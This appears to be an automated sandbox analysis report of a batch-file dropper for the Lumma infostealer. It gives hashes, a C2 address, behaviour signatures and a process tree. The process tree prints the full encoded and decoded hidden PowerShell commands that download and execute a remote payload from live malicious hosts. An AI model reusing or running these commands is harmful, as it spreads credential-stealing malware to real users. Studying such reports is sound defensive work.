Analysis

  • max time kernel
    94s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-01-2025 00:41

General

  • Target

    initial_d.bat

  • Size

    838B

  • MD5

    b8c74b6c596351ca5bd46c0bb6e98dfd

  • SHA1

    6cb4b41a78059c30be91f2464bf790244a1c99d7

  • SHA256

    babe2715fa636ffaf699ed8176d8ca007b94defdc2ed41fb138803c8847094f4

  • SHA512

    22b256cb20232d00c9e2085a6d54404f3a2a2167931a637e4880054ac75605d15c38f004a69038e70366bd145c755aafef2047b79c7ab72e61566364a1df9610

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://s7.klipdywoziy.shop/hukk7.jpeg

Extracted

Family

lumma

C2

https://hoppricerwir.cyou/api

Signatures

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Lumma family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3488
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\initial_d.bat"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2712
        • C:\Windows\system32\cmd.exe
          cmd.exe /k start powershell -w 1 powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1496
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -w 1 powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4664
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4264
              • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))"
                6⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2856
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"
        2⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        PID:4352

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      6cf293cb4d80be23433eecf74ddb5503

      SHA1

      24fe4752df102c2ef492954d6b046cb5512ad408

      SHA256

      b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

      SHA512

      0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      d28a889fd956d5cb3accfbaf1143eb6f

      SHA1

      157ba54b365341f8ff06707d996b3635da8446f7

      SHA256

      21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

      SHA512

      0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1hnzhzgt.3w4.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2856-113-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-1382-0x0000000029A10000-0x0000000029A5C000-memory.dmp

      Filesize

      304KB

    • memory/2856-28-0x0000000002EE0000-0x0000000002F16000-memory.dmp

      Filesize

      216KB

    • memory/2856-1385-0x0000000029A60000-0x0000000029AB4000-memory.dmp

      Filesize

      336KB

    • memory/2856-1384-0x000000002A370000-0x000000002A914000-memory.dmp

      Filesize

      5.6MB

    • memory/2856-109-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-1381-0x0000000029940000-0x00000000299C0000-memory.dmp

      Filesize

      512KB

    • memory/2856-111-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-1380-0x0000000029870000-0x00000000298F2000-memory.dmp

      Filesize

      520KB

    • memory/2856-58-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-32-0x00000000056A0000-0x0000000005CC8000-memory.dmp

      Filesize

      6.2MB

    • memory/2856-34-0x00000000054E0000-0x0000000005502000-memory.dmp

      Filesize

      136KB

    • memory/2856-36-0x0000000005D80000-0x0000000005DE6000-memory.dmp

      Filesize

      408KB

    • memory/2856-35-0x0000000005580000-0x00000000055E6000-memory.dmp

      Filesize

      408KB

    • memory/2856-46-0x0000000005EF0000-0x0000000006244000-memory.dmp

      Filesize

      3.3MB

    • memory/2856-48-0x0000000006540000-0x000000000655E000-memory.dmp

      Filesize

      120KB

    • memory/2856-49-0x0000000006560000-0x00000000065AC000-memory.dmp

      Filesize

      304KB

    • memory/2856-50-0x0000000007B70000-0x00000000081EA000-memory.dmp

      Filesize

      6.5MB

    • memory/2856-51-0x0000000006A10000-0x0000000006A2A000-memory.dmp

      Filesize

      104KB

    • memory/2856-53-0x00000000746F0000-0x0000000074EA0000-memory.dmp

      Filesize

      7.7MB

    • memory/2856-54-0x0000000029380000-0x00000000294D8000-memory.dmp

      Filesize

      1.3MB

    • memory/2856-55-0x00000000294E0000-0x0000000029610000-memory.dmp

      Filesize

      1.2MB

    • memory/2856-56-0x0000000029610000-0x0000000029738000-memory.dmp

      Filesize

      1.2MB

    • memory/2856-57-0x0000000029740000-0x0000000029868000-memory.dmp

      Filesize

      1.2MB

    • memory/2856-73-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-71-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-115-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-119-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-117-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-63-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-107-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-81-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-59-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-105-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-103-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-101-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-99-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-97-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-95-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-93-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-91-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-89-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-85-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-83-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-87-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-79-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-77-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-75-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-69-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-67-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-65-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/2856-61-0x0000000029740000-0x0000000029862000-memory.dmp

      Filesize

      1.1MB

    • memory/4264-27-0x00007FFBF2B70000-0x00007FFBF3631000-memory.dmp

      Filesize

      10.8MB

    • memory/4264-19-0x00007FFBF2B70000-0x00007FFBF3631000-memory.dmp

      Filesize

      10.8MB

    • memory/4264-23-0x00007FFBF2B70000-0x00007FFBF3631000-memory.dmp

      Filesize

      10.8MB

    • memory/4264-24-0x00007FFBF2B70000-0x00007FFBF3631000-memory.dmp

      Filesize

      10.8MB

    • memory/4664-7-0x00007FFBF2B70000-0x00007FFBF3631000-memory.dmp

      Filesize

      10.8MB

    • memory/4664-33-0x00007FFBF2B70000-0x00007FFBF3631000-memory.dmp

      Filesize

      10.8MB

    • memory/4664-12-0x00007FFBF2B70000-0x00007FFBF3631000-memory.dmp

      Filesize

      10.8MB

    • memory/4664-1-0x00000204929B0000-0x00000204929D2000-memory.dmp

      Filesize

      136KB

    • memory/4664-0-0x00007FFBF2B73000-0x00007FFBF2B75000-memory.dmp

      Filesize

      8KB